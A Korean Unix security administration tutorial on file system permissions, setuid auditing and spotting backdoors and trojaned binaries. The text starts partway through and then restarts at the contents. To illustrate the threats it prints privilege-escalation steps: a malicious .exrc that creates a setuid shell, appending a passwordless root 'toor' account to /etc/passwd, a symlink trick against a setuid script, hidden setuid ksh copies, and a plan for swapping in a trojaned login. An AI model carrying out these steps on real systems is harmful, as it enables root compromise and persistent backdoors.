function call 이 read 에서 멈추었다. 이제 사용자의 입력을 기다리는 프로그램이라는 것을 알게 되었다. 이쯤에서 조사는 멈추었지만 나중에 파일시스템을 전부 뒤지다 보니 fping 의 소스코드를 찾게 되었는데 분석해 보니 특정 스트링을 입력할 경우 root 로 su 를 시켜주는 프로그램이고 read 에서 멈춘 것은 해커가 지정해놓은 특정 스트링을 입력 받기 위한 것이었음을 알게 되었다.
3. 기타 잡다한 사항들
여기에서는 잡다한 사항들로 알아두어야 하는 것들을 적어 보았다.
startup 파일들 (.exrc, .cshrc , .login....) 이 world writable 해서는 안된다.
특히 root 소유의 파일들은 주의를 기해야 한다.
가령 ~root/.exrc 가 world writable 해서 다음과 같이 어떠한 사용자가 조작을 해놓았다고 해보자. .exrc 는 vi 계열의 에디터가 실행될 때 읽어들이는 configuration file 이다.
$ cat .exrc
!(cp /bin/sh /tmp/newsh;chmod 4755 /tmp/newsh)&
위의 것이 실행되고 나면 /tmp 디렉토리에는 newsh 이라는 루트쉘이 남아 있게 된다.
root 의 경우 startup 파일에 설정한 path에 . 을 넣지 않도록 한다.
current 를 넣어야 하는 경우라면 다른 path 들을 앞에 두고 . 은 맨 마지막에 두기 바란다.현재의 디렉토리에 OS 에서 제공되는 command 와 같은 이름으로 Trojan horse 를 심어둘 수 있다. 수준이 낮은 저질해킹방법이긴 하지만, 아직도 저급 해커들에 의해 사용되는 방법이니 주의하기 바란다.
필요 없는 서비스는 하지 않는다.
버그박스나, 다른 메뉴에 있는 내용들을 보아서도 알고 있겠지만 시스템에 버그나 문제점들은 불필요한 서비스를 하고 있음으로써, 시스템의 부하량도 늘고, 시스템에 문제점을 일으킬 소지도 있게 하는 것이다.
가장 이상적인 시스템 관리는 자신의 호스트에서 필요에 의해 운영하는 것 외에는 서비스를 일체 하지 않고, 자신의 시스템 내에 설치한 프로그램에 대해서는 확실히 패치 및 꾸준한 업그레이드를 해 나가는 것이다.
4. 맺으며
이번 호를 읽는 독자들은 알겠지만 이번에 다룬 내용은 해커들의 경험을 바탕으로, 또 해킹 사례들을 토대로 실례를 들어가며 적은 곳이 상당부분이 된다. 나름대로 실용적인 테크닉을 관리자 경험에 비추어 적어보았는데 도움이 되었으면 한다.
General Security Administration V 부 (다음 호)
다음 호를 기대해 주십시오. (T_T)
(Footnote)
# 는 root shell 프롬프트를 뜻한다.
$ 은 일반 사용자의 borne shell 계열 쉘 프롬프트를 뜻한다.
% 는 일반 사용자의 C shell 계열 쉘 프롬프트를 뜻한다.
Reference
[General Security Technique - Practically Useful], 김휘강, 제 4 회 WWW-KR Conference
Netsec-KR'95 Tutorial #1
System Administration, O'Reilly ＆ Associates, Inc.
김휘강 (Sakai Kim)sakai@major.kaist.ac.kr
Contents
General Security Administration III 부(지난 호)
시스템의 로그 관리 및 분석법.
General Security Administration IV 부 (이번 호)
File System 관리 및 보안
이번 호에서는 지난 호에 이어 General Security Administration 중 System File System 의 보안에 대해 전반적으로 다루겠다. 겠다. 이번 호에서 중점적으로 다룰 내용은 File System 내부의 파일들에 대한 점검 (퍼미션 및 기타사항) 과, 백도어를 찾아내기 등과 같은 일반적이지만 유용한 것들이다.
1. General Security (file system)
유닉스 시스템의 File 시스템의 구조의 특징은 tree 구조로 되어있다는 점과 철저하게 owner , group 에 의해 사용자의 권한에 따라 액세스 할 수 있는 자원이 한정되어 있다는 점이다. 그렇기 때문에 해커들은 root 만이 액세스 할 수 있는 파일에 접근을 시도하여 시스템을 변조하려 애쓰는 것이고 관리자는 이를 막기 위해 디렉토리와 파일에 적절한 퍼미션 및 그룹 지정이 되어있는지 확인하는 것이다.
Basic of Basic 으로 각 유닉스 시스템들의 독특한 file tree 구조에 대해 알아보자.
1.0 각 UNIX 시스템 별 File System ＆ Description
Generic UNIX directory structure
위의 그림에서 보는 것이 공통적으로 적용되는 디렉토리들이다.
/bin
관습적으로 executable 한 binary 실행 파일들이 들어있는 디렉토리이다. OS 에 따라 무조건 적으로 /bin 은 /usr/bin 에 링크 되어 있기도 하다. 같은 성격의 디렉토리로 /usr/bin 과 /usr/ucb 가 있다. /usr/ucb 는 OS 에서 디폴트로 따라 나오는 실행 binary file 들이 포함되는 디렉토리라는 점에서는 공통적이나 /usr/ucb 에는 버클리 계열 프로그램들이 들어있다. 같은 이름의 실행파일이라 하더라도 /usr/bin 이나 /bin 에 들어있는 binary 실행파일들과 옵션과 하는 역할이 다른 경우가 많다.
/usr/5bin
SunOS 에서 System V 계열 명령어들을 보관하는 디렉토리이다.
/dev
디바이스들의 디렉토리로 special file 들이 들어있다. System V 계열의 /dev/ 디렉토리는 다시 서브디렉토리로 구분 지어지는 것이 보통이다. dsk 와 rdsk 는 디스크 디바이스를 의미하고, mt 와 rmt 는 테잎 디바이스를 의미한다. 또 term 은 serial line 을 지원해주는 터미널들을 의미하고, pts , ptc 는 remote 에서 접속했을 때 연결되는 pseudo 터미널들이다. 이와는 대조적으로 BSD 계열 OS 의 /dev/ 디렉토리는 서브디렉토리로 나뉘지 않는 특징을 가진다. Solaris 의 경우에는 /device 와 /dev 디렉토리를 동시에 가지는 특징을 가진다.
/dev 디렉토리의 디바이스들에 대해서는 다음의 figure 를 참조하기 바란다.
SunOS
DEC
OSF/1
LINUX
HP-UX 9.x
HP-UX 10.x
IRIX
Solaris
File Name
/dev/rsd1c
/dev/rrz1c
/dev/sdb1
/dev/rdsk/c201d1s0
/dev/rdsk/c0t4d0s0
/dev/rdsk/dks0d2s7
/dev/rdsk/c0t4d0s2
Access
Mode = Raw
/dev/rsd1c
/dev/rrz1c
/dev/rdsk/c201d1s0
/dev/rdsk/c0t4d0s0
/dev/rdsk/dks0d2s7
/dev/rdsk/c0t4d0s2
Device = Disk
/dev/rrz1c
/dev/sdb1
/dev/rdsk/c201d1s0
/dev/rdsk/c0t4d0s0
/dev/rdsk/dks0d2s7
/dev/rdsk/c0t4d0s2
Type = SCSI
/dev/rsd1c
/dev/rrz1c
/dev/sdb1
/dev/rdsk/c201d1s0
/dev/rdsk/dks0d2s7
/dev/rdsk/c0t4d0s2
Controller #
/dev/rdsk/c0t4d0s0
/dev/rdsk/dks0d2s7
/dev/rdsk/c0t4d0s2
Device #
/dev/rsd1c
/dev/rrz1c
/dev/sdb1
/dev/rdsk/c201d1s0
/dev/rdsk/c0t4d0s0
/dev/rdsk/dks0d2s7
/dev/rdsk/c0t4d0s2
Disk Partition
/dev/rsd1c
/dev/rrz1c
/dev/sdb1
/dev/rdsk/c201d1s0
/dev/rdsk/c0t4d0s0
/dev/rdsk/dks0d2s7
/dev/rdsk/c0t4d0s2
디바이스안에 있는 special 파일들은 다음의 의미를 지닌다.
Special File Form
Example
Device/Use
/dev/[r]fdn
/dev/fd0
Floppy disk
/dev/rmtn
/dev/rmt/n
/dev/rstn
/dev/rctn
/dev/rmt1
/dev/rmt/0
/dev/rst0
/dev/nrmt0
/dev/rmt/0n
/dev/rct0
Generic tape devices
Generic tape devices
SCSI tape drive
Non rewinding tape devices
Non rewinding tape devices
SCO UNIX catridge tape device
/dev/cdn
/dev/cdrom
/dev/cd0
/dev/cdrom
CDROM devices
CDROM devices
/dev/ttyn
/dev/term/n
/dev/tty[p~s]n
/dev/pts/n
/dev/pty[p~s]n
/dev/tty01
/dev/term/01
/dev/ttyp1
/dev/pts/2
/dev/ptyp3
serial line (hardwired terminal/modem)
V.4 serial line
slave 가상 terminal
slave 가상 terminal
의미: Master/control 가상 terminal
/dev/console
/dev/syscon
/dev/hft
/dev/lft0
/dev/tty
콘솔 device
System V 의 물리적 콘솔 device
AIX 3.x 의 콘솔 device
AIX 4.x 의 콘솔 device
각각의 프로세스가 제어하는 TTY 를 의미
/dev/mem
/dev/kmem
physical 메모리 맵
kernel 의 가상 메모리 맵
/dev/winn
/dev/mouse
/dev/win00
SunOS 와 Solaris 의 window device
mouse interface
/dev/ramn
/dev/swap
/dev/ram00
ram disk
Swap device
/dev/null
/dev/zero
null device
null device
/etc/ , /sbin
시스템 configuration 과 관련된 data file 이나 실행파일이 들어있는 디렉토리이다. 이 외에도 system 의 중요한 file 들이 많이 들어 있는 디렉토리이다.
/usr/etc 에 실행파일을 따로 저장하는 OS 도 있다. 그리고 C2 레벨에 관련된 디렉토리가 /etc/security 등으로 존재하기도 한다.
/home
이 디렉토리는 일반적으로 사용자들의 홈 디렉토리가 위치하는 곳이다. HP-UX 9.x 에서는 /users 디렉토리가 존재하여 /home 을 대신하고 있다.
/lost+found
Disk error 가 났을 때(예상치 않은 crash 나 shutdown 에 의해 ) lost chain 이 되어버린 파일들이 저장이 되게 된다. 이 디렉토리는 파티션마다 하나씩 존재한다.
/mnt
임시로 마운트하는 디렉토리이다. temporary 마운트하는 파일시스템을 위한 배려이다.
/proc
PROC 파일시스템에 관련된 디렉토리이다. 이 디렉토리안의 파일들은 현재 active 프로세스들에 관련되어 이름 지어지고 생성되고 삭제된다.
/tcb
이 디렉토리에는 security 와 관련된 데이터베이스 파일들이 저장된다. 물론 tcb 라는 enhanced security facility 를 운영하고 있을 때에만 생성이 되는 디렉토리이다. 관련이 있는 OS 로는 SCO UNIX , HP-UX 10.x , Digital Unix 가 있고 추가적으로 TCB 관련 파일들은 따로 /etc/auth 에 저장된다.
/tmp
메일이나, 파일 편집등에서 쓰이는 임시파일 외에도 모든 프로그램에서의 임시생성파일이 생성되는 곳이다. 이 디렉토리의 가장 큰 특징은 sticky bit 가 붙어 있어서 여러 사용자가 자신의 권한이 해당되는 파일에 대해서만 삭제를 할 수 있게 된다.
/usr
이 디렉토리는 /usr/local , /usr/etc 등과 같은 서브디렉토리를 가지면서 , OS 인스톨 시에 기본적으로 제공되는 프로그램들 외에 따로 인스톨한 프로그램(application program)들이 위치하게 되는 곳이다.
또한 /usr/adm 디렉토리에는 시스템 관리와 관련된 로그파일이나 accounting 에 관련된 파일이 저장되게 되고, /usr/bin 에서는 executable binary 파일들이 위치하게 된다.
/usr/include 에는 C 프로그램외 프로그램과 관련된 헤더파일들이 위치하게 되고 , /usr/lib 에는 시스템의 라이브러리 파일들이 존재하게 된다.
이 외에도 /usr/man (/usr/share/man) 에는 온라인 메뉴얼 파일들이 위치하고 있다.
1.1. File System check
위에서 다룬 사항들은 가장 기본적인 사항임에도 불구하고 관리자들이 판단 착오로 인해 파일 퍼미션을 잘못 지정해 주어서 시스템 보안에 허점이 생기는 경우도 많이 있다.
하지만 현존하는 수 많은 UNIX OS 의 File System 의 디렉토리 퍼미션과 디렉토리 구조, 파일의 퍼미션을 기억하고 있을 수는 없는 노릇이다.
최소한으로 알아두어야 할 사항은 다음과 같다.
중요한 시스템 디렉토리는 owner 가 root 일 것
예: / , /etc/ , /var , /usr/bin .....
지금은 대부분의 사람들이 SunOS 4.1.x 이하 버전 보다는 Solaris 2.x 버전을 사용하므로 문제가 없지만, 예전의 SunOS 4.x 에서는 /etc/ 디렉토리의 소유주가 bin 으로 되어 있었다. 그러므로 root 의 권한을 얻지 못하더라도 bin 이란 id 의 권한을 얻기만 하면 /etc 디렉토리내에 있는 어떠한 파일에라도 조작을 가할 수 있게 되는 것이다.
해킹을 하게 되면 root 의 권한을 직접 얻진 못하더라도 adm , sys , bin 등의 권한을 얻기는 비교적 쉬운 일이다.
중간 과정은 생략하겠지만 예를 들어 bin 의 권한을 획득했다고 하자.
$ id
uid=2(bin) gid=2(bin) groups=2(bin)
$ ls -asld /etc
12 drwxr-xr-x 13 bin bin 6144 5월 28일 18:48 /etc
$ cp /etc/passwd /tmp
$ echo "toor::0:1::/:/bin/csh" >> /tmp/passwd
$ rm /etc/passwd
$ cp /tmp/passwd /etc/passwd
$ rlogin localhost -l toor
즉, bin 의 권한을 갖게 되었으므로 임의로 /etc/ 디렉토리 하의 임의의 파일을 조작할 수 있게 되는 것이다. 고전적인 해킹 방법의 한 예이다.
자 그럼 이제 "File System 점검" 에 대해 살펴보자. 물론 독자들이 chmod, chgrp 등의 기본적인 명령들은 숙지하고 있다고 가정한다.
파일시스템 점검
버그박스를 읽어보신 분들이라면 알겠지만 보안 상에 문제점을 일으키는 프로그램들은 setuid가 있으면서 root 소유의 실행 파일인 경우가 대부분이었다. 어쨌든 setuid 가 붙어 있다는 것은 그 프로그램이 실행되는 중에는 그 프로그램의 소유주의 권한을 가지고 동작을 하게 된다는 뜻이므로 root 소유의 setuid 가 걸린 파일들은 실행할 때 조심해야 한다.
그리고 주기적으로 setuid root 파일들을 찾아주어야 하는 이유로 다음을 들 수 있다.
해커들은 root 의 권한을 얻은 후에 setuid root shell 이나 setuid root shell script 을 설치해둔다. 이를 통해 프로그램 수행 중에 setuid root 파일의 정의에 의해서나 , Interrupt , job control, symbolic link 등에 의해 불법적인 권한 획득이 가능해 진다.
보통, 파일시스템을 부팅 시에 마운트할때 관련된 파일은 /etc/mnttab 파일 (또는 /etc/mtab) 이다. 즉, /etc/mnttab 에서 정의한대로 파일시스템을 마운트하게 되는데, 이때 nosuid 옵션 설정에 주의하지 않으면, 아래와 같이 해커가 시스템을 제집 드나들 듯이 할 수 있게 된다.
root shell script 인 경우
% find / -user root -type f -perm -4000
/usr/bin/X11/xrsh
(여기에서 /usr/bin/X11/xrsh : setuid executable shell script 이다.)
% ls -l /usr/bin/X11/xrsh
-rwsr-xr-x 1 root 16 Aug 20 14:09 /usr/bin/X11/xrsh
% ln -s /usr/bin/X11/xrsh ./-i
(만일 csh 계열 사용자라면 ln -s /usr/bin/X11/xrsh ./-bi 로 해준다.)
% ./-i
# whoami
root
root shell 인 경우
# cp /usr/bin/sh ./suq
# chmod 4755 ./suq
# exit
$ ./suq
#
Solaris 2.x 와 같은 OS 에서는 euid(effective user id) 와 real uid 가 같이 않으면 setuid 가 걸린 root shell 이라 하더라도 루트의 권한을 갖지 못하도록 하고는 있지만 여전히 허점은 존재한다. 그것은 /bin/sh , /bin/csh 에서는 그 기능을 추가했지만 /bin/ksh 에 대해서는 여전히 무력하기 때문이다.
즉, Solaris 2.x 에서도 다음과 같이 함으로써 해커는 root shell 을 숨겨둘 수 있게 되는 것이다.
# cp /bin/ksh ./suq
# chmod 4755 ./suq
# exit
$ ./suq
#
그러므로 /etc/mnttab (또는 /etc/mtab ) 에 nosuid 설정을 적절히 해주기 바란다.
예:
# cat /etc/mtab
/dev/sd0a / 4.2 rw 1 1
/dev/sd0g /usr 4.2 rw 1 2
/dev/sd1g /home 4.2 rw,nosuid 1 3
그리고root shell 을 해커들이 보통 찾기 힘든 파일이름으로 숨겨 놓고 가는 경우가 많다. 관리자들이 착각하기 쉬운 이름으로 숨기므로 보통 다음과 같은 곳에 숨긴다.
/dev 디렉토리 아래
/ucp 디렉토리 아래
nosuid 가 걸려있지 않은 파일 파티션
" " , "..^H" , "..." , 과 같은 디렉토리
예:
# find / -perm -4000 -print
/etc/fping
/usr/man/man6/bash.6
/usr/local/bin/sys
/dev/rxt0
파일시스템을 점검하는 가장 쉽고 편리한 방법은 다음이다.
ls 의 Recursive 옵션을 사용하여 파일시스템 내의 전 파일들에 대한 list 를 받아 두는 것이다.
# ls -aslcRg / > list_of_system_old
# ls -aslcRg / > list_of_today
# diff list_of_system_old list_of_today
즉, 정기적으로 file system 내의 전체적인 list 를 받아둔 후 차이점을 비교해서 파일시스템이 변조된 사항을 알 수 있게 된다. 이를 통해, 파일생성날짜, 퍼미션, 소유주 등의 변화를 점검할 수 있다.물론 저 file 리스트(list_of_system_old, list_of_today) 를 file system 내에 보관하는 것은 상당히 어리석은 짓이다. 해커가 다시 변조해 둘 수 있기 때문이다.그러므로 저 파일들은 offline 상으로 백업을 받아 (floppy 디스켓 따위) 보관을 해주기 바란다.
위의 사항들이 여의치 않은 경우에는 어짜피 일일이 관리자가 모든 파일시스템을 감시할 수는 없는 노릇이므로 setuid 파일 및 주요 파일시스템들에 관한 체크섬을 받아둔다.
예: /bin/login , /usr/etc/in.* ,/lib/libc.so.*, inetd 에서 호출되는 데몬,
프로그램들, netstat, ps, ls , df, ifconfig , sum , 기타
/bin/login 과 같은 root 소유로 되어 setuid bit 이 붙어 있는 프로그램들
프로그램이 실행 중에는 root 의 권한을 갖게 되므로 위험하다.
/etc/ 디렉토리 아래에 있는 모든 데몬들.
inetd 에서 호출되는 데몬들
예: telnetd , rlogind , rshd , ftpd , sshd , ftpd , sendmaild
데몬 프로그램 자체에 trojan horse 가 숨겨져 있는 경우에는 프로그램 내부의 무결성이 입증되었다 하더라도 프로그램이 데몬에 의해 invoking 되어 실행되는 순간 프로그램에 의해 시스템이 vulnerable 해지게 된다.
sshd 의 경우도 예전에 sshd 자체에 trojan horse 를 숨겨둔 경우가 보고된 적이 있었다. 보안을 위해 ssh 을 사용하였다가 오히려 위험해진 좋은 예였다.
inetd 에서 호출되는 프로그램들
inetd 에서 호출이 되므로 시스템의 전원이 켜져 있는 한 시스템은 vulnerable 하게 된다.
/lib/libc.so.*
이런 라이브러리들에 trojan horse 가 있으면 dynamic 하게 call 될 때, 컴파일 시에 static 하게 call 될 때 문제를 일으키게 되므로 , check sum 이 확실한 인증된 application 프로그램을 설치했다 하더라도 vulnerable 하게 된다.
실제로 96 년에 많은 논란을 일으킨 SGI telnet program 의 vulnerability 에서는 crypt 에 관련된 forged library 를 만들어 해킹을 하는 기법이 있었다.
netstat, ps, ls , df, ifconfig , sum
위의 프로그램들은 trojan horse 가 숨겨졌을 경우 많은 피해를 입힐 수 있는 프로그램들이다. netstat 의 경우 해커의 접속 connection 을 표시가 안되게 할 수 있으므로 해커의 칩입을 추적하는데 상당한 곤란함을 겪게 된다.
ps 도 마찬가지이다. 침입자의 작업 프로세스가 보이지 않는 다면 상당한 문제일 것이다. 시스템에 무언가 이상을 발견한다고 해도 프로세스를 kill 할 수 없으니 말이다.
df , sum 도 마찬가지의 맥락에서 생각해주면 된다.
위의 프로그램들에 trojan horse 를 심어 놓는 것이 불가능해 보일지도 모르겠으나, 93 년 부터 root kit 이란 이름으로 외국의 해커에 의해 배포가 되고 있었다.
이를 통해 국내의 많은 시스템에 백도어가 심겨져 있었으리라 추측된다.
기타 /vmunix
이외에도 커널 자체를 변조시켜 둘 수도 있다 .
가장 확실한 방법은 전 File System 의 전 File 에 대한 check sum 을 받아두는 것이지만, 불필요한 사용자 데이터 등까지 해둘 필요는 없으므로 가장 최소한으로 setuid root 프로그램들이나 중요한 File directory , file 들에 대한 체크섬을 받아 두어야 한다.기본적으로는 checksum 을 받지 않고서도 C-time 과 M-time 이 같은지 여부를 ls 로 찾아서 확인해 보는 방법도 있겠지만, ls 의 결과로 보이는 정보 정도는 충분히 변조시킬 수 있다.다음은 그 예이다.
[miso-sakai 30 ] ls -asl /bin/passwd
48 -r-sr-xr-x 1 root bin 24576 10월 26일 1994 /bin/passwd*
[miso-sakai 31 ] ls -aslc /bin/passwd
48 -r-sr-xr-x 1 root bin 24576 10월 26일 1996 /bin/passwd*
위의 경우는 정상적인 경우로 c time 과 m time 이 같은 예이다.
하지만 /bin/passwd 를 변조했다든가, 재컴파일해서 재설치했다든가 하면 ctime 과 m time 이 달라지게 되므로 의심해 볼 여지가 있다. 하지만 이정도의 정보쯤은 조작하는 일은 일도 아니므로 ls 정보만을 신뢰할 수는 없는 노릇이다.
보통 해커들이 백도어를 심고 나갈 때 변조를 해놓고 나가는 프로그램이 setuid root 프로그램이다. 흔한 예로, 해킹을 한 뒤에 /bin/login 을 조작해 놓고 간다든지, /bin/passwd 등을 바꾸어 놓고 갈 수 있기 때문이다.
실제로 login 의 소스코드는 ftp.uu.net 같은 곳에서 쉽게 구할 수 있다. 물론 BSD 바닐라 소스이지만, 이를 다른 OS 에 맞게 포팅하는 일은 C 실력만 있다면 충분히 가능한 일이다. 이제 여기에서 구한 login.c 에 트릭을 가해서 특정 string 을 입력하면 직접 root 로 로긴이 되고 log file 에는 기록이 안되도록 조작할 수 있다.
필자가 해커의 입장이라면 이렇게 할 것이다.
해킹을 해서 root 의 권한을 얻는다.
trojan horse 를 심어둔 login.c 를 컴파일 한다.
/bin/login 의 c time (ls -c 옵션으로 확인할 수 있다.)과 m time 을 확인한다.
컴파일한 login 을 /bin/login 으로 바꿔치기 한다.
/bin/login 의 C time 과 m time 이 바꿔치기 된 시간으로 셋팅되어 있으므로 m time 을 바꾼다. (/usr/5bin/touch 를 이용하여 m time 을 바꿔치기 하고, ls 에서 보이는 ctime 정보를 속이기 위해 date 를 이용하여 시스템 시간까지 변조한다. 자세한 방법은 기술하지 않겠지만 md5 check 같은 툴을 사용하지 않고 ls 만을 사용하는 경우에는C time 도 같은 것처럼 속일 수 있다.)
관련 log file 들을 변조해서 증거를 입멸한다.
기분 좋은 마음으로 logout 을 한 후, 재침입 시에는 일일이 해킹하고 로그파일 지울 필요 없이 변조된 login 에 특정 string 만 패스워드로 입력해준다.
자 위와 같은 경우를 막는 좋은 방법은 sum, ncheck, md5 등을 이용하는 것이다. sum 과 ncheck 은 OS 에서 기본적으로 제공되는 프로그램들이다.
md5 , md5check은ftp://cert-org/pub/tools/md5에서 구할 수 있다. 프로그램들을 anonymous ftp site 에서 다운로드 받아 온 뒤 README 파일을 읽어보면 각 소프트웨어에 대한 md5 check signature 가 동봉되어 있는 것을 본적이 있을 것이다. md5 check 에 의해 생성된 시그너쳐는 현존하는 check sum 프로그램 중에 가장 신뢰할 만한 것으로 정평이 나있다. 밀리 세컨드까지 파일 생성시각을 inode 에서 읽어들여 signature 를 만들기 때문에 ls 따위에서 보이는 시분 정보로 이 sum 을 조작한다는 것은 불가능 하다.
그러므로 가급적 소프트웨어를 설치 할 때에는 공신력 있는 ftp site 에서 다운 받아오고, 다운로드 받아 온 후에는 md5 signature 와 대조해 보는 것이 중요하다.
다음은 sum 과 ncheck 의 사용 예이다.
# cd /usr/bin
# sum *
30550 2 X11
25321 104 acl_edit
63086 200 adb
63216 40 adjust
4938 96 admin
12997 1 alias
19980 72 ar
12984 24 asa
31081 80 at
10025 48 audevent
30992 72 audisp
29708 64 audsys
15279 32 audusr
25537 40 autopush
51075 264 awk
47453 24 banner
42975 24 basename
...
SunOS 에서 setuid 가 걸려 있는 파일을 찾을 경우
# ncheck -s /dev/sd0g
(이 ncheck 명령어는 OS 종류에 따라 옵션과 체킹해주는 것의 종류도 다르기 때문에 특별히 설명하지는 않겠다. 각자의 OS 의 메뉴얼을 참조하기 바란다.)
위의 결과를 ls 의 결과물을 저장한 것과 마찬가지로 저장해 놓은 뒤 백업을 받아두었다가 주기적으로 대조해서 점검을 하는 것이 필요하다.
이제는 위와 같이 sum 이나 ncheck 를 사용하는 법을 알았으니 다른 유용한stuff 를 이용하는 법을 알아보자. 시스템 내 파일 변조를 가장 잘 감지해 주는 프로그램으로 Tripwire 가 있다.
이 Tripwire 에 대해서는 login.misotech.com 의 보물창고 에서 이미 자세히 다룬 바 있으니 더 이상의 설명은 하지 않도록 하겠다. 보물창고를 참고하기 바란다.
이번에는 find 를 사용하여 검색하는 방법을 알아보자. find 는 옵션이 쓸만하고 강력한 것이 많이 있기 때문에 아주 유용한 프로그램이다. 유용한 옵션으로 perm, type , nouser , ctime 등이 있다.
find 의 옵션들
-atime n : n 일 전에 액세스된 파일
-mtime n : n 일 전에 변조된 파일
-newer file : 최근에 변조된 파일
-size n : n 512 byte 블락 사이즈를 갖는 파일
-type type : 지정된 type 을 갖는 파일 (f = plain 파일, d = 디렉토리)
-fstype type : file system type 찾기
-name name : name 이란 이름의 파일
-perm n : n permission 을 갖는 파일
-user usr : usr 가 소유주인 파일
-group grp : grp 가 그룹소유주인 파일
-nouser : 삭제되어 현존하지 않는 사용자가 소유한 파일
-nogroup : 삭제되어 현존하지 않는 그룹이 소유한 파일
몇 가지 예를 살펴보자.
setuid , setgid 파일 찾기
# find / \(-perm -4000 -o -perm -2000\) -print
World Writable 파일 찾기
# find / -perm -2 -ls
하루전에 만들어진 파일 찾기
# find / -ctime -1 -exec ls -alcd {} \
2. 이상한 파일을 발견했을 때의 대처법
자 위에서는 파일들을 찾는 방법, 점검하는 방법에 대해 다루어 보았다. 그렇다면 이상한 file 을 발견했을 때 어떻게 할 것인가에 대해 살펴보도록 하자.
관리자 김씨는 로그파일을 분석하기 위해 다음과 같은 명령을 실행하여 다음의 결과를 얻었다.
# acctcms -a -o -n /var/adm/pacct
NON-PRIME TIME COMMAND SUMMARY
COMMAND NUMBER TOTAL TOTAL
NAME CMDS KCOREMIN CPU-MIN
ls 26 0.00 0.02
grep 21 0.80 0.01
more 15 0.10 0.03
...
fuckfuck 1 0.26 1.10
sucksuck 1 0.32 1.00
hackhack 2 0.23 0.04
fuckfuck 이란 명령 , sucksuck, hackhack 이란 명령들을 발견한 김씨는 즉시 조사에 착수했다. 그리고 저 명령들을 찾아보기로 하고 다음 명령을 실행했다.
# find / -name fuckfuck -print
/users/staff/sakai/./fuckfuck
# find / -name sucksuck -print
/users/staff/sakai/.../sucksuck
# find / -name hackhack -print
/users/staff/sakai/.../ /hackhack
이상한 점이 느껴지지 않는가? . 이란 디렉토리와 " " 란 디렉토리가 특별하게 다시 표시되고 있다.
실제로 이 디렉토리를 찾아보았더니 다음과 같았다.
[miso-sakai 22 ] ls -asl | more
총 1858 블럭입니다.
6 drwxr-xr-x 18 sakai staff 3072 5월 29일 18:43 ./
2 drwxr-xr-x 35 root staff 1024 5월 28일 18:43 ../
2 drwxr-xr-x 2 sakai staff 1024 5월 29일 13:58 ./
2 drwx------ 3 sakai staff 1024 5월 29일 13:56 .../
예전의 배워봅시다에 나왔던 트릭을 사용하여 다음과 같이 찾아보았다.
[miso-sakai 25 ] ls -asl | cat -v |more
총 1858 블럭입니다.
6 drwxr-xr-x 18 sakai staff 3072 5월 29일 18:43 ./
2 drwxr-xr-x 35 root staff 1024 5월 28일 18:43 ../
2 drwxr-xr-x 2 sakai staff 1024 5월 29일 13:58 ..^H/
2 drwx------ 3 sakai staff 1024 5월 29일 13:56 .../
결국 ..^H 라는 디렉토리를 만들어 놓고 작업을 한 것이다.
또 블랭크로 나왔던 디렉토리는
% mkdir " "
와 같은 트릭을 사용하여 만든 디렉토리란 것을 발견했다.
의심가는 점이 많아서 곧 조사에 착수 했다.
자 이제 이 디렉토리에서 발견된 fuckfuck, sucksuck, hackhack 이란 파일들에 대해 조사하는 접근 방법에 대해 다루어 보겠다.
1. file 이란 명령어를 사용할 것.
file 이란 명령어를 사용하여 발견해 낸 이상한 파일이 어떠한 타잎의 파일인지 확인하도록 한다.
예:
# file *
appoint: iAPX 386 executable not stripped
bin: directory
clean: symbolic link to bin/clean
fort.1: empty
gold.dat: ascii text
intro.ms: [nt]roff, tbl or eqn input text
run_me.sh: commands text
xray.c: ascii text
2. what 이란 명령어를 사용할 것.
# find / -perm -4000 -print
/etc/fping
...
위의 명령을 실행한 결과 fping 이란 명령어가 발견되었다고 하자. 얼핏 보면 fping 이란 명령어가 OS 에서 제공하는 명령어라고 생각할 수도 있고 무시하고 넘어갈 수도 있겠지만 , 확실하게 하기 위해 what 이란 명령어를 써보자.
what 은 SCCS 정보를 읽어들이기 때문에 OS 에서 제공되는 프로그램이라면 해당 프로그램의 SCCS 정보가 출력이 되도록 되어 있다.
# what /etc/fping
fping:
위의 예에서는 아무것도 출력되지 않는다. 그렇다면 엉성하긴 하지만 최소한 OS 에서 기본 제공하는 명령은 아니라는 것을 추측은 할 수 있는 것이다.참고로 정상적인 프로그램에 what 명령어를 적용시킨 예이다.
# what /usr/bin/telnet
/usr/bin/telnet:
Copyright (c) 1988 Regents of the University of California.
Revision 1.1.194.1 Wed Sep 1 18:21:18 GMT 1993
main.c 1.10 (Berkeley) 11/18/88
commands.c 1.15 (Berkeley) 2/6/89
network.c 1.13 (Berkeley) 6/29/88
ring.c 1.10 (Berkeley) 6/29/88
sys_bsd.c 1.16 (Berkeley) 11/29/88
telnet.c PHNE_2058 (Berkeley) 1/2/93
terminal.c 1.13 (Berkeley) 6/29/88
tn3270.c 1.16 (Berkeley) 11/30/88
utilities.c 1.11 (Berkeley) 2/6/89
추가로 더 what 에 대해 이야기 해보면, binary 실행 프로그램에 대해 patch 된 정보를 알고 싶다면 showrev -p 를 사용할 수도 있겠지만, what 을 사용할 수도 있다.
SunOS 와 Solaris 의 예를 들어보자.
SunOS 4.1에서는 /usr/ucb/what인데, 이 명령어는 파일에서 SCCS version을 읽어서 출력해 주므로 알 수가 있다. 만일 Sun에서 나온 정식 patch라면 아래와 같이 되어 있을 것이다.
sun41host% /usr/ucb/what /usr/kvm/ps
Copyright (c) 1980 Regents of the University of California.
ps.c 1.46 93/01/19 CTEOS 4071 patch
log.S 1.16 89/03/27 SMI
exp.S 1.11 89/02/23 SMI
SVID_libm_err.c 1.9 89/02/27 SMI
matherr.c 1.2 88/02/08 SMI
Sun에서 정식으로 나온 patch라면 위와 같이 "CTEOS XXXX patch"라는 말이 있다.
마찬가지로 SunOS 5.x에서도 /usr/ccs/bin/what를 사용하여 알아볼 수 있다.
sol2host$ /usr/ccs/bin/what /kernel/unix
/kernel/unix:
SunOS 5.4 Generic 101945-34 September 1995
특히 Solaris 2.x에서는 patch를 위한 배려가 상당히 많은데
파일 단위는 what(1)을 이용할 수 있다.
패키지 단위로 패치 레벨을 체크하기 위해서는 pkginfo를 사용할 수 있다.
sol2host$ pkginfo SUNWsra.2
system SUNWsra.2 Source Compatibility Archive Libraries
sol2host$ pkginfo -l SUNWsra.2
PKGINST: SUNWsra.2
NAME: Source Compatibility Archive Libraries
CATEGORY: system
ARCH: sparc
VERSION: 11.5.1,REV=94.07.15.22.10,PATCH=6
BASEDIR: /
VENDOR: Sun Microsystems, Inc.
DESC: Source Compatibility Archive Libraries
PSTAMP: on494-patch950309130229
INSTDATE: Oct 05 1995 12:57
HOTLINE: Please contact your local service provider
STATUS: completely installed
FILES: 3 installed pathnames
3 shared pathnames
2 directories
